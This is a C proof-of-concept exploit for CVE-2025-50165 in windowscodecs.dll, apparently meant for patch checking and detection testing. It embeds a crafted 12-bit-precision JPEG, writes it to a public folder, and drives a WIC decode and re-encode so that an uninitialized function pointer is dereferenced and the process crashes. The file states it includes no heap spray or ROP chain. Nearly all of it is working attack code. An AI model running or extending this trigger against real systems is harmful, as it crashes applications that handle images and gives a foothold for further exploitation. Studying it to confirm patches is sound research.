/*
 * CVE-2025-50165 -- windowscodecs.dll Uninitialized Pointer Dereference PoC
 *
 * Description:
 *   Triggers the uninitialized function pointer dereference in the libjpeg-turbo
 *   compression path within windowscodecs.dll. The bug occurs when encoding a
 *   JPEG with 12-bit or 16-bit data precision: compress_data_12/compress_data_16
 *   function pointers are never initialized in jinit_c_rawtranscode_coef_controller_turbo.
 *
 *   This PoC creates a minimal 12-bit precision JPEG, then uses the Windows
 *   Imaging Component (WIC) COM API to decode and re-encode it, triggering
 *   jpeg_finish_compress -> dereference of uninitialized compress_data_12.
 *
 * Call chain:
 *   IWICBitmapFrameEncode::WriteSource(decodedFrame, NULL)
 *     -> CFrameEncodeBase::WriteSource
 *       -> CJpegTurboFrameEncode::HrWriteSource
 *         -> jpeg_finish_compress
 *           -> (*coef->pub.compress_data_12)(cinfo, NULL) *** CRASH ***
 *
 * Build (MSVC x64 Native Tools Command Prompt):
 *   cl.exe /W4 /O2 /D_CRT_SECURE_NO_WARNINGS poc_cve_2025_50165.c /link ole32.lib oleaut32.lib windowscodecs.lib version.lib advapi32.lib kernel32.lib
 *
 * Usage:
 *   poc_cve_2025_50165.exe         (normal)
 *   poc_cve_2025_50165.exe /v      (verbose)
 *
 * Expected (pre-patch):  Crash in jpeg_finish_compress (access violation)
 * Expected (post-patch): Re-encoding succeeds or returns an error gracefully
 *
 * NOTE: This PoC demonstrates the crash trigger only, not full exploitation.
 *       No heap spray or ROP chain is included.
 *
 * WARNING: May crash applications on vulnerable systems.
 *
 * Author: OnlyFm252
 * Date:   2026-07-26
 * CVE:    CVE-2025-50165
 *
 * DISCLAIMER: FOR DEFENSIVE RESEARCH AND BLUE TEAM DETECTION TESTING ONLY.
 */

/* -- poc_common.h configuration -- */
#define POC_CVE     "CVE-2025-50165"
#define POC_BINARY  L"windowscodecs.dll"

static int g_verbose = 0;
#define POC_VERBOSE g_verbose

#include "poc_common.h"

#include <wincodec.h>
#include <shlwapi.h>

#pragma comment(lib, "ole32.lib")
#pragma comment(lib, "windowscodecs.lib")
#pragma comment(lib, "shlwapi.lib")

/* ======================================================================
 *  Minimal 12-bit JPEG
 *
 *  A minimal valid JPEG with 12-bit precision (data_precision = 0x0C).
 *  SOI + SOF0 (with precision=12) + SOS + minimal scan data + EOI.
 *  This is intentionally tiny -- just enough to trigger the decode path
 *  and set data_precision=12 in the jpeg_compress_struct.
 * ====================================================================== */

static const BYTE JPEG_12BIT[] = {
    /* SOI (Start of Image) */
    0xFF, 0xD8,

    /* SOF0 (Start of Frame, baseline DCT) */
    0xFF, 0xC0,
    0x00, 0x0B,     /* length = 11 */
    0x0C,           /* precision = 12 bits  <-- KEY: triggers the vulnerable path */
    0x00, 0x01,     /* height = 1 */
    0x00, 0x01,     /* width = 1 */
    0x01,           /* number of components = 1 (grayscale) */
    0x01, 0x11, 0x00,  /* component 1: id=1, sampling=1x1, quant_table=0 */

    /* DQT (Define Quantization Table) */
    0xFF, 0xDB,
    0x00, 0x43,     /* length = 67 */
    0x00,           /* table 0, 8-bit precision */
    /* 64 quantization values (all 1s for minimal valid table) */
    0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
    0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
    0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
    0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
    0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
    0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
    0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,
    0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01, 0x01,

    /* DHT (Define Huffman Table - DC) */
    0xFF, 0xC4,
    0x00, 0x1F,     /* length = 31 */
    0x00,           /* class=0 (DC), table=0 */
    /* 16 code counts */
    0x00, 0x01, 0x05, 0x01, 0x01, 0x01, 0x01, 0x01,
    0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
    /* values */
    0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07,
    0x08, 0x09, 0x0A, 0x0B,

    /* DHT (Define Huffman Table - AC) */
    0xFF, 0xC4,
    0x00, 0xB5,     /* length = 181 */
    0x10,           /* class=1 (AC), table=0 */
    /* 16 code counts */
    0x00, 0x02, 0x01, 0x03, 0x03, 0x02, 0x04, 0x03,
    0x05, 0x05, 0x04, 0x04, 0x00, 0x00, 0x01, 0x7D,
    /* 162 values */
    0x01, 0x02, 0x03, 0x00, 0x04, 0x11, 0x05, 0x12,
    0x21, 0x31, 0x41, 0x06, 0x13, 0x51, 0x61, 0x07,
    0x22, 0x71, 0x14, 0x32, 0x81, 0x91, 0xA1, 0x08,
    0x23, 0x42, 0xB1, 0xC1, 0x15, 0x52, 0xD1, 0xF0,
    0x24, 0x33, 0x62, 0x72, 0x82, 0x09, 0x0A, 0x16,
    0x17, 0x18, 0x19, 0x1A, 0x25, 0x26, 0x27, 0x28,
    0x29, 0x2A, 0x34, 0x35, 0x36, 0x37, 0x38, 0x39,
    0x3A, 0x43, 0x44, 0x45, 0x46, 0x47, 0x48, 0x49,
    0x4A, 0x53, 0x54, 0x55, 0x56, 0x57, 0x58, 0x59,
    0x5A, 0x63, 0x64, 0x65, 0x66, 0x67, 0x68, 0x69,
    0x6A, 0x73, 0x74, 0x75, 0x76, 0x77, 0x78, 0x79,
    0x7A, 0x83, 0x84, 0x85, 0x86, 0x87, 0x88, 0x89,
    0x8A, 0x92, 0x93, 0x94, 0x95, 0x96, 0x97, 0x98,
    0x99, 0x9A, 0xA2, 0xA3, 0xA4, 0xA5, 0xA6, 0xA7,
    0xA8, 0xA9, 0xAA, 0xB2, 0xB3, 0xB4, 0xB5, 0xB6,
    0xB7, 0xB8, 0xB9, 0xBA, 0xC2, 0xC3, 0xC4, 0xC5,
    0xC6, 0xC7, 0xC8, 0xC9, 0xCA, 0xD2, 0xD3, 0xD4,
    0xD5, 0xD6, 0xD7, 0xD8, 0xD9, 0xDA, 0xE1, 0xE2,
    0xE3, 0xE4, 0xE5, 0xE6, 0xE7, 0xE8, 0xE9, 0xEA,
    0xF1, 0xF2, 0xF3, 0xF4, 0xF5, 0xF6, 0xF7, 0xF8,
    0xF9, 0xFA,

    /* SOS (Start of Scan) */
    0xFF, 0xDA,
    0x00, 0x08,     /* length = 8 */
    0x01,           /* number of components = 1 */
    0x01, 0x00,     /* component 1: DC=0, AC=0 */
    0x00, 0x3F, 0x00,  /* Ss=0, Se=63, Ah=0, Al=0 */

    /* Minimal scan data (DC coefficient = 0) */
    0x00,

    /* EOI (End of Image) */
    0xFF, 0xD9
};

static const DWORD JPEG_12BIT_SIZE = sizeof(JPEG_12BIT);

/* ======================================================================
 *  Paths
 * ====================================================================== */

static const wchar_t *JPEG_PATH = L"C:\\Users\\Public\\OnlyFm252_50165_12bit.jpg";
static const wchar_t *OUT_PATH  = L"C:\\Users\\Public\\OnlyFm252_50165_out.jpg";

/* ======================================================================
 *  Helpers
 * ====================================================================== */

static BOOL write_jpeg_to_disk(void)
{
    HANDLE hFile;
    DWORD written;

    hFile = CreateFileW(JPEG_PATH, GENERIC_WRITE, 0, NULL,
                        CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
    if (hFile == INVALID_HANDLE_VALUE) {
        POC_WARN(L"Cannot create JPEG file: %lu", GetLastError());
        return FALSE;
    }

    if (!WriteFile(hFile, JPEG_12BIT, JPEG_12BIT_SIZE, &written, NULL) ||
        written != JPEG_12BIT_SIZE) {
        POC_WARN(L"WriteFile failed: %lu", GetLastError());
        CloseHandle(hFile);
        return FALSE;
    }

    CloseHandle(hFile);
    return TRUE;
}

/* ======================================================================
 *  Main — WIC decode + re-encode flow
 * ====================================================================== */

int wmain(int argc, wchar_t *argv[])
{
    HRESULT hr;
    int     result = -1;

    /* WIC COM objects */
    IWICImagingFactory    *pFactory  = NULL;
    IWICBitmapDecoder     *pDecoder  = NULL;
    IWICBitmapFrameDecode *pFrame    = NULL;
    IWICStream            *pOutStream = NULL;
    IWICBitmapEncoder     *pEncoder  = NULL;
    IWICBitmapFrameEncode *pEncFrame = NULL;
    IPropertyBag2         *pPropBag  = NULL;

    g_verbose = poc_parse_verbose(argc, argv);

    /* Unbuffer stdout */
    setvbuf(stdout, NULL, _IONBF, 0);

    poc_banner(L"windowscodecs.dll Uninitialized Pointer Dereference");

    /* Pre-flight */
    {
        static const poc_cfr_info cfr[] = { { 0, NULL } };
        poc_preflight(POC_BINARY, NULL, cfr, 0);
    }

    /* -- Step 1: Initialize COM -- */
    POC_STEP("Initialize COM and create WIC factory");

    hr = CoInitializeEx(NULL, COINIT_APARTMENTTHREADED);
    if (FAILED(hr)) {
        POC_WARN(L"CoInitializeEx failed: 0x%08X", (unsigned)hr);
        goto cleanup;
    }

    POC_CALL(hr,
        CoCreateInstance(&CLSID_WICImagingFactory, NULL, CLSCTX_INPROC_SERVER,
                         &IID_IWICImagingFactory, (void **)&pFactory),
        L"CoCreateInstance(WICImagingFactory)");
    if (FAILED(hr)) goto cleanup;
    POC_OK(L"WIC factory created");

    /* -- Step 2: Write crafted 12-bit JPEG to disk -- */
    POC_STEP("Write crafted 12-bit precision JPEG to disk");

    if (!write_jpeg_to_disk()) {
        POC_WARN(L"Failed to write crafted JPEG");
        goto cleanup;
    }
    POC_OK(L"Crafted JPEG written: %s (%lu bytes)", JPEG_PATH, JPEG_12BIT_SIZE);
    POC_DETAIL(L"data_precision = 12 (0x0C) in SOF0 marker");

    /* -- Step 3: Decode the crafted JPEG -- */
    POC_STEP("Decode crafted JPEG via WIC");

    POC_CALL(hr,
        pFactory->lpVtbl->CreateDecoderFromFilename(
            pFactory, JPEG_PATH, NULL, GENERIC_READ,
            WICDecodeMetadataCacheOnDemand, &pDecoder),
        L"CreateDecoderFromFilename");

    if (FAILED(hr)) {
        POC_INFO(L"Decoder rejected the 12-bit JPEG (hr=0x%08X)", (unsigned)hr);
        POC_INFO(L"This may indicate the library cannot handle 12-bit JPEGs");
        /* If the decoder rejects it outright, we can't reach the vuln path */
        if (hr == WINCODEC_ERR_BADIMAGE || hr == WINCODEC_ERR_COMPONENTNOTFOUND) {
            POC_OK(L"Library rejects non-standard JPEG -- not exploitable via this path");
            result = 0;
        }
        goto cleanup;
    }

    POC_CALL(hr,
        pDecoder->lpVtbl->GetFrame(pDecoder, 0, &pFrame),
        L"GetFrame(0)");
    if (FAILED(hr)) {
        POC_INFO(L"Cannot decode frame (hr=0x%08X) -- 12-bit not supported?", (unsigned)hr);
        result = 0;
        goto cleanup;
    }
    POC_OK(L"Frame decoded successfully");

    /* -- Step 4: Set up JPEG encoder for re-encoding -- */
    POC_STEP("Set up JPEG encoder for re-encoding (TRIGGER)");

    POC_WARN(L"On VULNERABLE systems, WriteSource will CRASH!");
    POC_INFO(L"jpeg_finish_compress dereferences uninitialized compress_data_12");

    /* Create output stream */
    POC_CALL(hr,
        pFactory->lpVtbl->CreateStream(pFactory, &pOutStream),
        L"CreateStream");
    if (FAILED(hr)) goto cleanup;

    POC_CALL(hr,
        pOutStream->lpVtbl->InitializeFromFilename(pOutStream, OUT_PATH, GENERIC_WRITE),
        L"InitializeFromFilename(output)");
    if (FAILED(hr)) goto cleanup;

    /* Create JPEG encoder */
    POC_CALL(hr,
        pFactory->lpVtbl->CreateEncoder(pFactory, &GUID_ContainerFormatJpeg,
                                         NULL, &pEncoder),
        L"CreateEncoder(JPEG)");
    if (FAILED(hr)) goto cleanup;

    POC_CALL(hr,
        pEncoder->lpVtbl->Initialize(pEncoder, (IStream *)pOutStream,
                                      WICBitmapEncoderNoCache),
        L"Encoder::Initialize");
    if (FAILED(hr)) goto cleanup;

    POC_CALL(hr,
        pEncoder->lpVtbl->CreateNewFrame(pEncoder, &pEncFrame, &pPropBag),
        L"CreateNewFrame");
    if (FAILED(hr)) goto cleanup;

    POC_CALL(hr,
        pEncFrame->lpVtbl->Initialize(pEncFrame, pPropBag),
        L"FrameEncode::Initialize");
    if (FAILED(hr)) goto cleanup;

    /* -- Step 5: WriteSource -- the crash point -- */
    POC_STEP("WriteSource (re-encode decoded frame -> triggers jpeg_finish_compress)");

    /* This call triggers the full decode -> encode pipeline.
     * On vulnerable systems, jpeg_finish_compress will dereference
     * the uninitialized compress_data_12 function pointer. */
    POC_CALL(hr,
        pEncFrame->lpVtbl->WriteSource(pEncFrame, (IWICBitmapSource *)pFrame, NULL),
        L"WriteSource (TRIGGER POINT)");

    if (FAILED(hr)) {
        POC_INFO(L"WriteSource failed: 0x%08X (%s)", (unsigned)hr, poc_decode_hr((LONG)hr));
        /* If it failed with an error rather than crashing, the patch caught it */
        POC_OK(L"WriteSource returned error instead of crashing -- PATCHED");
        result = 0;
        goto cleanup;
    }

    /* If WriteSource succeeded, try to commit */
    POC_CALL(hr,
        pEncFrame->lpVtbl->Commit(pEncFrame),
        L"FrameEncode::Commit");

    POC_CALL(hr,
        pEncoder->lpVtbl->Commit(pEncoder),
        L"Encoder::Commit");

    /* If we reach here without a crash, the system handled 12-bit properly */
    POC_OK(L"Re-encoding completed without crash -- system is PATCHED");
    result = 0;

    /* -- Step 6: Evaluate results -- */
    POC_STEP("Evaluate results");

    if (result == 0) {
        POC_OK(L"System is PATCHED -- compress_data_12 is properly initialized");
    }

cleanup:
    if (pPropBag)   pPropBag->lpVtbl->Release(pPropBag);
    if (pEncFrame)  pEncFrame->lpVtbl->Release(pEncFrame);
    if (pEncoder)   pEncoder->lpVtbl->Release(pEncoder);
    if (pOutStream) pOutStream->lpVtbl->Release(pOutStream);
    if (pFrame)     pFrame->lpVtbl->Release(pFrame);
    if (pDecoder)   pDecoder->lpVtbl->Release(pDecoder);
    if (pFactory)   pFactory->lpVtbl->Release(pFactory);

    CoUninitialize();

    /* Clean up files */
    DeleteFileW(JPEG_PATH);
    DeleteFileW(OUT_PATH);

    poc_results(result);
    return result > 0 ? 1 : 0;
}
